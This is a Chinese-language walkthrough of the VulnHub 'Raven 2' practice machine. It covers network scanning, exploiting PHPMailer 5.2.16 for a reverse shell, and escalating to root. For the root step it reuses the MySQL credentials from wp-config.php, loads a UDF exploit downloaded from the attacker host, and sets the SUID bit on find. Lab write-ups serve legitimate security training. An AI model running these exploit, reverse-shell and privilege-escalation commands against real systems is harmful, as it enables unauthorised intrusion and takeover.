一、准备工作
kali和靶机都选择NAT模式(kali与靶机同网段)
1.靶场环境
下载链接:Raven: 2 ~ VulnHub
2.kali的ip
命令:ifconfig
3.靶机的ip
扫描靶机ip
sudo arp-scan -l
二、信息收集
1.nmap的信息收集
(1)扫描靶机开放的端口及其服务
nmap -A 192.168.101.128
2.网站的信息收集
(1)靶机开放了80端口,先访问靶机网站看看有什么有用的信息
访问靶机网站,没有发现什么信息
(2)dirb扫描靶机网站
dirb http://192.168.101.128
1)发现dirb扫描到的网站除了一个wordpress其他都是文件目录,可能存在文件目录浏览漏洞
2)对目录文件进行排查,在vendor目录下的PATH文件里找到了第一个flag
3)在vendor目录下的README.md里面看到了PHPMailer(一个功能齐全的PHP电子邮件创建和传输类)
4)在VERSION目录文件中得知PHPMailer版本号为5.2.16
知识点:PHPMailer < 5.2.18版本存在安全漏洞,可使未经身份验证的远程攻击者在Web服务器用户上下文中执行任意代码,远程控制目标web应用
三、漏洞发现及利用
(1)searchsploit命令搜索到可利用的漏洞
searchsploit PHPMailer
1)将相关的脚本文件拷贝
cp /usr/share/exploitdb/exploits/php/webapps/40974.py ./
2)修改脚本内容
vim 40974.py
:wq
3)在攻击机kali终端开启监听端口4444
nc -lvvp 4444
4)运行脚本
python 40974.py
如果报错执行下面的命令
pip install requests-toolbelt
编码问题就在第一行脚本里面添加
#! /usr/bin/python3$
# -*- coding: utf-8 -*-$
如果两个都不行尝试一下下面的命令
python3 40974.py
我这里提示是说未声明编码,所以在脚本第一行添加
原来是我的python是python3
5)先访问 http://192.168.101.128:80/contact.php,就会生成后门文件 shell1.php,再访问 http://192.168.101.128/shell1.php,就成功反弹了一个shell到攻击机上
6)看看kali那边情况,成功监听
四、提权
1.优化命令执行终端,执行下面命令进入python交互式(注意要下载python环境才能运行):
python -c 'import pty; pty.spawn("/bin/bash");'
2.寻找flag文件
find ./ -name flag*
3.查看刚才寻找到的flag2文件
cat /var/www/flag2.txt
4.flag3为图片,网站下查看
http://192.168.101.128/wordpress/wp-content/uploads/2018/11/flag3.png
5. 查看mysql的config配置文件
cd /var/www/html/wordpress
ls -al
cat wp-config.php
6.发现了网站的mysql数据库,数据库的账号密码root:R@v3nSecurity
mysql -u root -pR@v3nSecurity
7.mysql
1)查看数据库
show databases;
2)在kali终端查找脚本
searchsploit 1518.c
3)脚本下载到靶机
1.复制脚本
cp /usr/share/exploitdb/exploits/linux/local/1518.c .
2.gcc 编译、运行
gcc -g -shared -o x7.so 1518.c -lc
3.kali开启http服务
python -m SimpleHTTPServer
4.靶机下载脚本
cd /tmp
wget http://192.168.101.10:8000/x7.so
ls
4)进入数据库创建数据表 foo,向表中插入二进制数据,然后利用dumpfile函数把文件导出, 再新建存储函数do_system类型是integer,别名(soname)文件名字
mysql -u root -pR@v3nSecurity
use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/x7.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/x7.so';
create function do_system returns integer soname 'x7.so';
select * from mysql.func;
5)通过do_system函数给find命令所有者的suid权限,使其可以执行root权限的命令
select do_system('chmod u+s /usr/bin/find');
exit
8.提权
find / -exec "/bin/sh" \;
1)flag4
cd /root
cat flag4.txt